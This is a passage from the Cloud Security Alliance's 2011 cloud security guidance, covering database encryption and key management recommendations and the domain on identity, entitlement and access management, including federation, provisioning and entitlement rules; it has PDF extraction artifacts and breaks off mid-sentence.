as Hadoop and have that data derived from the cloud source. Such development platforms, including Hadoop, have thei r own set of security issues but those are beyond the scope of this chapter. o Key scoping can be maintained at the individual or group level. o Group access can be managed with off -the-shelf technology such as DRM systems and other software running on the de sktop/laptop that encrypts disks, folders, and email messages. Recommendations - Encryption within Databases o Use standard algorithms. Do not invent/use proprietary scrambling techniques. Proprietary encryption algorithms are unproven and easily broken. o Avoid old insecure encryption standards such as Data Encryption Standard ( DES)107. o Use object security. You should still use basic object security (SQL grant and revoke statements) to prevent access to even the encrypted data. o Do not encrypt primary keys or i ndexed columns. If you encrypt a primary key, you will have to encrypt all referencing foreign keys. If you encrypt an indexed column, you may end up with slow queries when trying to use the encrypted value. o Use a columnar approach to encryption (since bi g data system uses this). 106 KEK - Key Encrypting Keys 107 DES - Data Encryption Standard SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 135 11.6 Requirements  In order to maintain best practices and pass audits the organization should manage their keys in the custody of their own enterprise or that of a credible service from a cryptographic service provider.  Keys used in existing encryption technology such as DRM and disk encryption products should be managed by central, internal to the enterprise, key storage technology. Hardware Security Modules (HSM) should be used to store keys as well as process cryptographic operations such as encryption/decryption, signing and verifying.  Enterprise users should go through a registration process to enable cryptographic operations and other processes in the enterprise, such as Content Aware or Format Preserving systems can acc ess encryption/decryption keys as needed.  Deploy technology integrated into corporate systems based on the identity of all components in the processing chain to make entitlement decisions.  Manage keys used by the cryptographic processes using binding cryp tographic operations.  Use existing systems such as E -DRM108 or DLP if possible.  Binding cryptographic operations and key management to corporate identity systems will provide the organization with the most flexible integration and uses technology that the organization already knows works and has been audited and or reviewed. 108 E-DRM - Enterprise Digital Rights Management. A process that protects content such as internal corporate communications or copyrighted materi al. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 136 DOMAIN 12 // IDENTITY, ENTITLEMENT , & ACCESS MANAGEMENT The concepts behind Identity , Entitlement, and Access Management used in traditional computing require fundamental changes in thinking when implementing a cloud environment, particularly splitting it into three discrete functions, Identity, Entitlement, and Authorization/Access Management (IdEA). For most organizations, implementing a traditional application means implementing a server, possibly in a DMZ109, and in most cases tied into a Directory Service ( DS) 110 (such as Microsoft’s Active Directory ,Novell’s eDirectory or Open LDAP ) for user authenticati on. In some cases it means implementing an application or using a web -delivered service using its own stand -alone authentication system, much to the annoyance of the users who then have to remember sets of credentials (or worse, reuse credentials from oth er, perhaps more trusted, domains). In contrast, a well implemented cloud service or application -identity should be consumed from a variety of external sources together along with the associated attributes (remembering that an identity applies not only to Users111, but also Devices, Code112, Organizations and Agents which all have identity and attributes). Leveraging all the multiple identities and attributes involved in a transaction enables the cloud system to make better holistic risk -based decisions (defin ed by the entitlement process113 and implemented by the authorization & access management components) about granular access to the system, processes, and data within the cloud system / application. This process of using multiple sources of Identity and their related attributes is critical when a cloud application is likely to be Internet -facing, and is also likely to be one of the main hurdles for organizations wanting to use “true” cloud services and instead opt to implement virtualization technologies in th eir own DMZ connected to their own internal DS. This de-perimeterized114 approach to identity, entitlement, and access management provides a more flexible and secure approach but also can be implemented equally well inside the corporate boundary (or perimete r). Overview. The following sections cover the key aspects of Identity, Entitlement, and Access Management in a cloud environment:  Introduction to Identity in a cloud environment  Identity architecture for the Cloud  Identity Federation 109 DMZ - DeMilitarized Zone 110 DS or "Directory Service" is used through this section as an abbreviation for a generic corporate directory service, used for username and password login. 111 Typically humans; for a wider definition and expansion refer to www.opengroup.org/jericho/Jericho%20Forum%20Identity%20Commandments%20v1.0.pdf 112 Code includes all forms of code, up to including applications and self -protecting data. 113 "Entitlement" is the process of mapping privileges (e.g., access to an application or its data) to identities and the related attributes. 114 De-perimterization is a term coined by the Jericho Forum® ( www.jerichoforum.org ) SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 137  Provisioning and governance of Identity and Attributes  Authorization and Access Management  Architectures for interfacing to Identity and Attribute providers  Level of trust with Identity and Attributes  Provisioning of accounts on cloud systems  Application Design for Identit y  Identity and Data Protection 12.1 Terminology Used in this Document The language used around identity is confused, with some terms having diametrically opposite means to different people. To avoid confusion while reading this domain, some of the i dentity terms used within this domain are defined below:  Identity . The means by which an Entity can consistently and comprehensively be identified as unique.  Identifier . The means by which an Identity can cryptographically asserted, usually using public -key technology.  Entity . Discrete types that will have Identity ; these are to Users, Devices, Code, Organizations and Agents.  Entitlement. The process of mapping privileges (e.g., access to an application or its data) to Ide ntities and the related Attrib utes .  Reduced Sign- on (RSO) . The use of an account and/or credential synchronization tool to minimize the number of credentials (usually username and password) a user has to remember; most of these solutions result in some form of security compromise.  Single Sign On (SSO) . The ability to pass Identity and Attributes to a cloud service, securely, using secure standards such as SAML115 and OAuth116.  Federation. The connection of one Identity repository to another.  Persona . Identity plus the particular Attribu tes that provide context to the environment the Entity is operating within. A Persona may be an aggregation of an individual Identity together with an Organizational Identity and Organization Attributes (e.g. a corporate Persona , Fred Smith as CEO of ACME Corp., or a Personal Computer belonging to ACME Corp.).  Attributes . Facets of an Identity 115 SAML - Security Assertion Markup Language, an XML -based OASIS open standard for exchanging authentication and authorization data between security domains 116 OAuth -Open Authorization, an open standard for authorization, allowing users to share their private resources with tokens instead of credentials SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 138 12.2 Introduction to Identity in a Cloud Environment An identity eco -system faces scaling problems (think of the move from a small village where everyone knows everyone else, to a large town or city). As the industry expands identity systems from single computers into global enterprises and then into cloud deployment models, the ability to identify all the entities involved in a transac tion become significantly more difficult. However, with cloud, the use of Identity for all Entities in the transaction value -chain, and the move to risk -based decisions , can not only mitigate the risk but also potentially improve security. The following key points need to be considered when implementing a cloud based solution that needs to use i dentity information:  The strength with which an Identity can be asserted will feed into the risk calculation when interacting with that Identity (exa mples include Anonymous; self -assert; validated by a known reputable organization with a strong assertion of organizational Identity ).  The Attributes of a Persona , like Identity , will have a strength with which an Attribute can be asserted that feed into t he risk calculation when interacting with that Persona . Assertion strength ranges from self -asserted to validated by a known reputable organization (with a strong assertion of organizational Identity ).  Identity and Attributes will need to be consumed from multiple sources, thus cloud solutions / architectures will need the ability to consume multiple disparate sources of Identity and Attributes .  There will be instances when a transient Identity is sufficient (enough informatio n about an Entity to deem them unique).  There will be instances where pseudo -anonymity is desirable (such as voting). 12.3 Identity Architecture for the Cloud The move from a traditional architecture of a perimeterized organization with traditional serve r based applications in internal computer centers affords little flexibility to an organization. The move to cloud -based architectures allows greater flexibility, whether deployed internally within the organizational boundaries (a private cloud) or extern al public clouds (SaaS, PaaS or IaaS). The table on the following page shows how i dentity needs to vary between traditional implementation and cloud implementation, dependent on the type of cloud architecture implemented. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 139 Table 1 —Identity Architecture Assertions ARCHITECTURE TYPE TRADITIONAL ARCHITECTURE CLOUD ARCHITECTURE Internal / Perimeterized Connected to the internal DS Identities must be maintained within the DS to be used by the application, potentially using reduced sign -on solutions. Ability to accept multiple sources of Identity and Attributes. Internal / De -perimeterized Need to tightly control and connect to organizational services using VPN tunnels at back end. Not a recommended architecture. Use assertions to provide Identity and Attributes to access cloud services. External / Perimeterized External hosting means extending perimeter to the provider of the server. Identity is extended into an environment the consumer does not manage, often putting a replica of the DS into that environment for performance. Use assertions to provide Identity and Attributes to access cloud services. External / De -perimeterized External hosting means extending internal Identity into a foreign environment, but a back -end leaded line or VPN. Identit y is extended into an environment the consumer does not own or manage, often replicating DS into that environment for performance Use assertions to provide Identity and Attributes to access cloud services. Whereas in a traditional “ IAM ”117 architecture, often all the components are stand -alone as part of a single server, a cloud architecture is potentially more complex taking Identity and Attributes from a number of sources and making authorization / access management decisions via a set of Entitlement Rules defined by the Entitlement Process. 117 IAM -Identity and Access Management SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 140 In Figure 1, Identity and Attributes are sourced from (potentially) multiple sources and feed into an authorization/access management layer that translates the entitlement rules into access. Access Management should (depending on the business / security requirements, and the type of cloud model, IaaS, PaaS or SaaS being deployed) govern access to the;  Network layer. Without meeting the entitlement rules it may not even be possible to “see” (i.e. Ping or route) to the cloud system. The entitlement rules may also direct access to particular interfaces.  System layer. The entitlement rules may define the protocols that are permitted to access and modify systems, such as terminal server vs. web.  Application layer. The entitlement rules may map Identity and/or Attributes to functionality provided by a specific application, such a being presented with a red uced set of menus or options.  Process layer. The entitlement rules can be used to define the processes (or functions) that can be run within an application. Entitlement may also define that enhanced functions (such as transferring money out of the eco - system) need additional verification (which may be obtained directly or derived in the background).  Data layer. The entitlement rules may limit access to areas of the data and file structure or even individual files or fields within files (e.g., in a database). At a more advanced level, entitlement could be used to auto -redact documents, such that two users accessing identical documents would view different content (e.g., constructing a specific dynamic view of a database table). The entitlement process sta rts with the customer to turn business requirements and security requirements into a set of entitlement rules. This process will define the identities and Attribute s required to be able to evaluate the rules. These rules in turn drive the authorization/ access system. 12.4 Identity Federation Conceptually speaking, federation is the interconnection of disparate Directories Services. Some organizations opt for a federation gateway, (a “Bridge” or “Federation Hub”) in order to externalize their federation implementation, where the Identity Source #1 Identity Source #2 Attribute Source #1 Identity & Attribute Source #1 Access Management Network Access System Access Application Access Process Access Data Access Authorization Entitlement Rules Entitlement Process Figure 1: Generic Identity , Entitlement & Access Management System SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 141 federation and the rules by which Identity is managed within that “bridge” is governed by a set of rules, usually a legal contract, thus allowing other partners in this bridge a defined level of trust in identities not directly issued by themselves. Technologically spea king, federation is the use of SAML to offer portability to disparate and independent security domains with some organizations extending their DS environment via a gateway product that will handle SAML assertions. Other organizations will consume native S AML assertions from an i dentity service. In both these types of federation architectures, it is essential to understand the provenance of the Identity and Attributes that are being asserted. Federation standards are used widely for SaaS deployment models for both i dentity federation and access control. There are no similar standards for PaaS or IaaS deployment models. Cloud Consumers leveraging IaaS deployment models should take into consideration how they manage the lifecycle of identities (shared accounts, named accounts, privileged accounts etc.). Enterprises that leverage the Privileged Identity Management (PIM) tools for Super User Management (SUPM) and Shared Account Password Management(SAPM) should investigate extending these tools to support cloud deployments. Enter prise or Cloud Consumers must have a well -defined policy for HPA (Highly Privileged Access). 12.5 Provisioning and Governance of Identity and Attributes When talking about provisioning, typically we think about user provisioning, but to make rich, risk -based decisions, the cloud system / application needs Identity and Attributes from all entities involved in the transaction and potentially other Attributes from other systems / processes. Some examples of Identity and Attributes are as follows (not an exhaustive list):  User Assertions: User Identifier (The public part of a Public/Private key pair)  User Name (User Name should be just another Attribute of Identity )  Credential strength/trust  Location Assertions; IP -Address, Geo -location, GPS, Cellular Service Location  Organization Identity (Identifier – crypto) and Organization Assertions  Device Identity (Identifier – crypto) and Device Assertions; Functionality Required, Functionality Offered, Sandbox capability, Secure container, Cleanliness of device  Code Identity (Identifier – crypto) and Code Assertions  Training record / compliance, etc. The master source of Identity and the Attributes of an Identity (which may be from a different source) need to be identified in the design of the entitlement process. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 142 As a rule, the cloud service or application itself should avoid being the master source for Identity (exceptions may be a cloud based HR service, or a cloud Identity -as-a-Service offering). However, during the transition to cloud services (not best practice) the cloud service / application may need to hold identities or operate a mixed -mode model. All Attributes should be linked to an Identity , as without the associated Identifier and level of trust with that Identifier the Attributes have no provenance. While this may at first sight be counterintuitive, the strength in the entitlement process lies in defining those Attributes necessary to make the rules work the way the business requires them to and then identifying the authoritative source (or as close as possible) to provide those Attributes (with the related Entity Identifier ). Examples would include:  Security threat level: Organizational, Government, or Outsourced provider Identity  Approvals or prior decisions made by other Entiti es: Entity Identity  QoS or throttling policies related to a protected target resource; System Identity 12.6 The Entitlement Process The entitlement process starts with the customer to turn business requirements and security requirements into a set of rules that will govern authorization and access to the various aspects of the cloud system. This process will then define the identities and Attribute s that are required to properly evaluate the entitled rules. The entitlement process and the derived rules sh ould not only drive the authorization and access management of a cloud system, they can also specify a degree of negotiation/entitlement at all layers of the cloud infrastructure, e.g., to allow protocols and interfaces at the network and/or system layer. The entitlement process should be embedded into any business requirements document and also the technical requirements document; it should also feature as an integral part of the cloud vendor’s provisioning / “customer on - boarding” process. The entitlement process does not stop once the cloud service is up and running, but the entitlement rules and the subsequent rules that drive authorization and access must be the subject of regular review. The entitlement process must then be audited by the business “sy stem -owner” against the business requirement. Any audit must include the threat and risk assessment and any regulatory requirements. Current solutions include automated approaches to turn high -level security policies into (low -level) technical access rules, including:  Model -driven security118, a tool -supported process of modeling security requirements at a high level of abstraction and using other information sources available about the system (produced by other stakeholders)  Clustering technical access rules into similar groups to reduce the complexity  Visual attempts to make technical policies easier to understand The entitlement process should define those Entities , Identities , and Attributes that are required to make meaningful authorization and acces s decisions. It should also define those Attributes that are fixed within the process, or those that 118 www.modeldrivensecurity.org SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 143 have a temporal (change over time) aspect to them, and therefore either the time interval at which they must be revalidated, or the trigger within the pro cess, will force revalidation. Where Identity and Attributes that need to be sourced from outside the business’s control are defined in the entitlement process, the Organizational Identity (Identifier ) of that provider ( Entity ) must be on -boarded as well, and thus (at some point in time) off- boarded. Typically the entitlement rules are interpreted in one of three places: 1. Using a central/external Policy Enforcement point / Policy Server / Policy -as-a-Service 2. Embedded as part of the Cloud application 3. Using an Identity -aaS (IDaaS) 12.7 Authorization and Access Management Authorization and Access Management is the process by which the entitlement rules are translated (via the Authorization layer) into Access Management rules. In most cloud based systems, the Authorization layer is likely to be a “Policy Decision Point” ( PDP)119 or the point that evaluates and issues authorization decisions, and the Access Management layer, the “Policy Enforcement Point” (PEP)120, the point that enforces the PDP's decision. The PDP and PEP will be part of an authorization eco -system that uses XACML121 (eXtensible Access Control Markup Language) as a declarative access control policy language implemented in XML. A PEP could be as simple as an IF (conditional) statement in the cloud app lication or as advanced as an agent running on an application server or a filter in an XML -gateway that intercepts access requests, gathers necessary data ( Attributes) to be able to evaluate the Entitlement Rules, and then makes and implements these decisi ons. This is not to mandate the use of XACML, PDP’s, and PEP’s in a cloud environment, as the functionality could potentially be implemented in other ways (probably in a closed or proprietary eco -system). PDP’s can be implemented outside of the cloud env ironment, possibly within the customer’s environment. This can potentially have a number of advantages such as interfacing to an internal DS and/or the ability to integrate logs about the decision made directly into an internal logging system. 12.8 Archi tectures for Interfacing to Identity and Attribute Providers There are three basic architectures for interfacing to Identity and Attribute providers: 119 PDP - Policy Decision Po int 120 PEP - Policy Enforcement Point 121 XACML - eXtensible Access Control Markup Language SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 144 1. A “hub -and-spoke” model where Identity and Attributes are centrally managed (coordinated) by the hub, whi ch then interacts with the cloud service(s) or cloud application(s) 2. The free -form model where the cloud service and/or application can be configured to accept Identities and Attributes from multiple sources 3. The hybrid solution, where the components are dis tributed, potentially using other cloud services. Each model has its merits, and the choice will be based on the number of factors, including:  Where the customers for the service have their i dentity  The capability of the cloud service chosen  The capability of the enterprise to provide assertion -based Identity and Attributes . 12.8.1 Hub and Spoke Model The “hub and spoke” approach typically allows the cloud service to interface directly with the organization for its Identity and Attribute information, ideally in the form of standards -based assertion protocols, such as OA uth & SAML. The organization’s int ernal systems are responsible for keeping track of users, other entities and the Attributes . This is most like a traditional IAM system, and thus probably the easiest to transition to for cloud solutions being implemented by organizations, as most DS or L DAP systems can have a SAML capability “bolted -on”. It is likely in this model that the entitlement process might also be handled within the organization through the use of a Policy Enforcement Point and Policy Server and communicated via XACML (though XAC ML isn’t that widely used for this yet). Figure 2 illustrates the hub -and-spoke approach. One benefit of this approach is that maintaining a Policy Enforcement Point within the organization allows the integration of audit logs to be maintained within the organization and even correlated with other disparate audit trails (outside of the cloud environment, or from other cloud environments) to get the complete picture required. Examples of this include Segregation of Duties analysis and satisfaction of regu latory requirements. The hub -and-spoke approach is likely to be used when a high degree of control is required over all “users” with a central enrollment process. This is more likely in organizations that are subject to heavy regulation. The hub -and-spoke should also lessen the dependency on the Identity /Attribute providers, as Attributes are often stored (duplicated) within the central hub. This is also the model used when an organization subscribes to a Bridge or “ Identity Hub.” Figure 2 — “Hub & Spoke” Model Service Providers Identity / Attribute Providers Central Broker Proxy or Repository SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 145 12.8.2 Free Form Mode l In the “free- form” model, the cloud service / application is responsible for maintaining the sources of Identity and Attributes . This solution is more suited for a public facing solution or a solution with a large number of disparate partners. The free form approach has the advantage that it is easier to setup, at least for current federation protocols (such as SAML) but relies o n a good implementation of the entitlement model to allow it to scale to a large amount of “users.” One approach is to setup a point -to-point federated trust relationship (using protocols such as SAML and OAuth) between the service and Attribute /Identity providers, but this approach needs an efficient process to on -board and off- board those providers. The free -form model provides challenges to provisioning “users”, as the environment of new entities connecting is likely to be more ad -hoc. Again, careful des ign of the Entitlement Process will help to alleviate this problem. Figure 3 above illustrates the point -to-point approach. 12.8.3 Hybrid Model The Hybrid model is (by definition) a mix of both the hub & spoke and free -form model. For example, the enti tlement rules may be held inside the organization and pushed to a PDP, which in itself is a cloud service, and then those decisions are delivered to multiple disparate PEP’s that are part of separate cloud services. In more large -scale deployments, there can be several federated policy servers that service many different PDP/PEP’s. The hybrid model will also be found in organizations that mix traditional and/or legacy computing with a (public and/or private) cloud environment. The hybrid model may offer an efficient use of distributed resources, but it risks becoming complex with the attendant scope for security loopholes to creep in. It also makes long -term maintenance more problematic (the reasoning behind simple rules is easy to understand when all who implemented them are long gone). The hybrid model will also have issues of logging decisions and actions taken with the potential need to bring all logs back into a single place in a common format to allow a holistic view to be taken. The potential complexity of the hybrid model stresses the need to be able to use visualization tools to develop, maintain, and audit the translation of the Entitlement Rules into actual access control. 12.9 Level of Trust with Identity and Attributes Identity and Attributes come with many levels of trust, both in the various identities being used in a transaction and with the Attributes attached to those identities. Traditionally this lack of trust has led to organizations having to maintain identities for anyone who needs access to their systems, which can be (in some cases) for hundreds of thousands of people who they do not employ or directly manage. Figure 3 —“Free Form” Model Service Providers Identity / Attribute Providers SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 146 Some organizations (Military/Aerospace, Pharmaceutical, etc.) that need to collaborate with a pre -agreed level of trust use a “Bridge” or “Federation Hub” (see section 12.4), where trusted identities also have trusted Attributes associated with them. During the entitlement process it is essential to understand not only the Attributes required, but also the source of those Attributes , the organization that will provide them, and the strength (level of trust) with which they can be asserted. To accept Attributes from an external organization with any defined level of trust will require an on -boarding process for that organizatio n, and the Identity (Identifier ) of the organization that will be asserting those Attributes . As a rule, the aim should be to source Identity and Attributes from the master / authoritative source of those Attributes with all Attributes having a known Ident ity asserting them, as the level of trust that can be placed in the Attribute cannot exceed the level of trust that can be placed in the Identity asserting the Attribute . Where Attributes are being uniquely generated within the cloud system itself, then a governance process must be in place to ensure that all Attributes are accurate and have appropriate lifecycle management. 12.10 Provisioning of Accounts on Cloud Systems Where it is necessary to provision an “account” on cloud systems (typically for a user, but it could be for any Entity type) there are challenges when provisioning (and de -provisioning) these accounts, as the normal “push” model used within organizations i s generally not a viable solution for a cloud implementation. At the time of writing, there are no widely used or de- facto provisioning standards; SPML122 (Service Provisioning Markup Language) has not been widely adopted by the cloud providers, and SCIM 123(Simple Cloud Identity Management) is only starting to emerge as a potential standard. The key to provisioning entities on a cloud system is to understand the complete lifecycle management of an account, from creation, management, and eventually de -commissioning (including deletion and/or archiving) across all the systems that both provide a nd consume the Identity and Attributes. There are some key issues that need to be addressed with sources of Identity and Attributes when it comes to provisioning:  The link to Human Resources (or the authoritative source of person -user information) is probl ematic as HR is often only the master source for staff on regular payroll.  There are usually no authoritative information sources for partner information and their devices.  The ability to provision other entities (particularly organizations and devices) d oes not exist in most organizations.  Public Identity services generally only provide self- asserted Identity and only about people; it does not extend to the other Entity types. 122 SPML - Service Provisioning Markup Language 123 SCIM - Simple Cloud Identity Management SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 147  De-provisioning needs to extend to all entities, thus most organizations do no t have the ability to off- board another organization when the contract finishes or revoke code from operating on systems when it is found to be faulty or obsolete. These issues and the immaturity of provisioning standards stress the need for good planning and a holistic approach to how Identity , Attributes , accounts, and lifecycle management of all Entity -types will operate in the cloud eco -system being developed. 12.11 Identity -as-a-Service Cloud Identity as a Service (IDaaS )124 is a broad term that cover s the management of any part of the Identity , Entitlement, and Authorization/Access Management in the cloud service. This encompasses service for software, platform, or infrastructure services, and for both public and private clouds. Hybrid solutions are also possible, whereby identities can still be managed internally within an organization, while other components such as authentication are externalized through a Service Oriented Architecture ( SOA )125. This effectively creates a Platform as a Service (PaaS ) layer to facilitate a cloud -based IAM solution. For more information refer to the section covering Identity -as-a-Service in Domain 14 – “Security -as-a-Service”. 12.12 Compliance & Audit The outcome of the entitlement rules may well need to be logged together with the decisions made by the entitlement rules / authorization process for compliance or security reasons. Compliance and audit is integrally tied to Identity . Without proper Identity management, there is no way to assure regulatory compliance. Auditing also requires proper Identity management, and the use of log files is of little value without a working Identity system. 12.13 Application Design for Identity This section applies just to application design as it applies to Identity and should be read in conjunction with Domain 10 – Application Security. Designing cloud based systems or applications necessitates a change in mindset when it comes to Identity as Identity and Attribute information will be consumed by the cloud service or app lication, needing to be held for at least the duration of the transaction, and probably some facets maintained longer, but because the cloud environment may likely not be a part of an organization’s physical or logical jurisdiction, and may even be in a different legal jurisdiction, the service and application design may need to be substantially different from the design practices used in traditional client server in a DMZ owned and managed by the organization. 124 IDaaS - Cloud Identity as a Service 125 SOA - Service Oriented Architecture SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 148 The design goal should be to minimize the need for Identity and Attributes . When possible, start from the principle that identification is not required while understanding the threshold where there will be a need to switch from basic “on -the- fly” account provisioning to an “identified” user account. Examples include:  Unique sessions can be established using other Attributes, e.g., the IP address of the connecting device (understanding that IP addresses can be spoofed) or a unique session cookie.  In many cases Attribute -based entitlement alone will be adequate with no need for user information or an actual Identity ; don't assume a Persona is needed to tie to a session or even an account.  When encountering a new Entity for the first time (say authenticating with a SAML assertion) then create a basic account on -the-fly. [Note that this approach requires thought about de -provisioning.]  Use Attribute derivation whenever possible, (e.g. don’t ask for date of birth, instead query “if over 18” [if DoB > (today – 18 years)]. When generating any unique account s, decide whether the system will consume an external unique Identifier from the Entity or whether the system will need to generate its own unique Identifier (such as a customer reference number). There must be careful thought put into cloud systems that maintain user accounts. There must be careful design thought put into how the cloud user accounts will be synchronized with existing user accounts in other systems (either internal or other cloud s ystems), particularly around the integration with a “joiners and leavers” process, and the changes in access required when people move internally. Designing a cloud system to scale (think of 100,000 users with an unconnected username and/or unsynchronized password) requires the need to avoid forcing a common help desk process, including manual or semi- automated synchronization scripts, password strength validation processes, password reset processes, password resets after a compromise, etc. all due to a lac k of initial design thought about consuming external identities. Avoid trying to extend an internal DS into the cloud service and/or replicating the organization’s DS over the Internet (generally very insecure) or via a back -channel (leased line or VPN) a s this exposes an organization’s entire DS into an environment the organization does not control. Also be wary of the promise of RSO (reduced -sign- on) products as RSO generally works by compromising on -log-in security internally, more so when trying to ex tend RSO to a cloud environment. As a rule, cloud services, and thus cloud applications, should accept the standard SSO federation formats such as SAML and OAuth (or even the less widely accepted WS -Federation). When designing an application to consume Ide ntity and Attributes, remember that Identity encompasses all Entities, and that the application security should, where possible, be part of a holistic approach that includes all layers; the Network layer; the System layer; the Application layer; the Process layer; and the Data layer (as detailed in section 12.3). An application could (for example) offer two methods of connecting a full, rich connection using Web/AJAX/Java or an Citrix style “screen -scrape” connection with the type of connection permitted determined by the Entitlement Rules (defined in the Entitlement process). SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 149 12.14 Identity and Data Protection Holding aspects of an Identity that comprises Persona l Identifiable Information ( PII)126, and particularly information classified as Sensitive Persona l Information ( SPI)127, is an issue for all organizations. Cloud services managed or located outside of the organization will need specialist advice to ensure all applicable laws and regulations are being adhered to. When considering which laws or jurisdictions might apply, the following (non -exhau stive) list should be considered:  All the countries of the data subjects  The country in which the organization operates  Countries in which the organization has legal entities  Countries in which the organization lists on the stock exchange or issues shares  The country or countries where the cloud services are physically located  The relevant legislation, regulations, and also pseudo -regulation (such as PCI -DSS) 12.15 Consumerization and the Identity Challenge Interacting with consumers and/or consumer devic es brings a number of challenges and opportunities in cloud -based services and applications. The ability of the consumer and consumer devices to interface directly to an Internet -facing cloud service strips away a layer of network complexity but introduce s a series of security challenges which can potentially be mitigated using Identity . However, in the consumer space, standards for device and user Identity are fragmented and (by definition) will rarely have the same level of conformance and standardizatio n that can be achieved in a corporate environment. Unfortunately, most consumer devices and consumers themselves have no easy or standard way to enroll themselves or their devices into an authentication system providing strong authentication, and thus, au thorization without strong Identity is difficult. Even when users have an existing strong authentication method (for example with their bank) for one account, this can almost never be reused with another account/provider. This has resulted in a situation where Identity for the consumer has already passed the limits of scalability. Over 61 percent of people use the same password whenever they can128; this results in every additional registration or authentication causing the loss of potential customers. Solving this problem with seamless access to applications will facilitate business, and clear separation between Identity and authorization will facilitate additional uses, for example allowing one individual to delegate use of their Persona linked to a spec ific credit card on behalf of another's transactions. 12.16 Identity Service Providers Consuming information about Identity from an external service brings its own issues. Levels of trust in the providing organization and validation of Attributes are ju st two examples. Most current proposals or actual offerings for 126 PII - Personal Identifiable Information 127 SPI - Sensitive Personal Information 128 http://www.guardian.co.uk/technology/2008/jan/17/security.banks SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 150 comprehensive and consistent Identity frameworks are extrapolations of single or group players’ needs by those with little or no understanding of other communities’ needs. Nearly all open/pu blic consumable Identity services deal only with user verification. Those that offer p ersonal information ( Attributes as well as Identity ) do so using Attributes that are either self- asserted or not from authoritative sources. Examples of sources of Identity and Attributes are as follows:  National Government o United States, NSTIC – strategy & aspiration only o German “EID card,” Austrian “Citizen Card,” Estonian “ID Card,” Finland “Citizen Certificate,” Hong Kong “Smart ID Card,” Malaysian “MyCad”  Public – integration via API's o Facebook o Amazon o Google o Microsoft Passport (Windows Live ID) o OpenID providers (Various) o Twitter  Bridges129 or “Hubs” o Research / Education Bridge (REBCA130), serving the US higher education sector o Federal PKI Architecture (Federal Bridg e) serving all US federal agencies. o CertiPath/Transglobal Secure Collaboration Program131, serving the aerospace and defense industries o SAFE -BioPharma Association132, serving the biopharmaceutical and healthcare industry  Identity Service offerings o Check / validate my postal code and address (various) o Experian / Equifax o 3D card verification (Visa/MasterCard) 129 www.the4bf.com 130 www.hebca.org 131 www.certipath.com / www.tscp.org/ 132 www.safe -biopharma.org/ SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 151 o eBay / PayPal / X.Commerce 12.17 Recommendations 12.17.1 Federation Recommendations o Consumers, Implementers, and Providers should agree on the context and definition of “federation” being used. o Implementers should understand what trust relationship and transitive trust exist and the need for bi -direction trust relationships. o Implementers should, where possible, use federation based on open standards such as SAML and O Auth . o If using a “Bridge” or “Federation Hub”, then Implementers should understand the nature and relationship of the trusts that exist between different members of the club. Understand what it could mean to your entitlement rules if there is another member signed up to the cloud or federating to another bridge. o Implementers should understand that public Identity providers such as Facebook, Yahoo, or Google provide a source of (low grade, typically self- asserted) Identity with no guarantees th at they will not federate to other providers in the future. o Implementers should deprecate examples of bad solution design solutions to get Identity from a DS linked into the access management system of a cloud solution. Such examples include in -band VPN’s and out -of-band leased -lines. 12.17.2 Provisioning and Governance Recommendations o All Attributes should be sourced from as close to the authoritative / master source as possible. o As a rule, the cloud service or application itself should avoid being the master source for Identity . o The cloud service or application itself should only be the master source for Attributes it directly controls. o All Attributes consumed should have a known level of trust. o All Attributes consumed should be linked to an Identity . o The Identifier of a defined Entity should sign all Attributes consumed. o Each Attribute should have a lifecycle that is fit -for-purpose. o Each Identity (and related Identifier ) should have a lifecycle that is fit -for-purpose. 12.17.3 Entitlement Recommenda tions o All parties in the entitlement (definition) process should be clearly identified. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 152 o There should be clear designated responsibilities for entitlement rule approval and sign -off. o A process to manage changes to the Entitlement Rules should be clearly de fined. o A frequency (or trigger) for auditing the Entitlement Rules should be clearly defined. o The entitlement process should focus on producing Entitlement Rules that are simple and minimal and designed using the principle of least 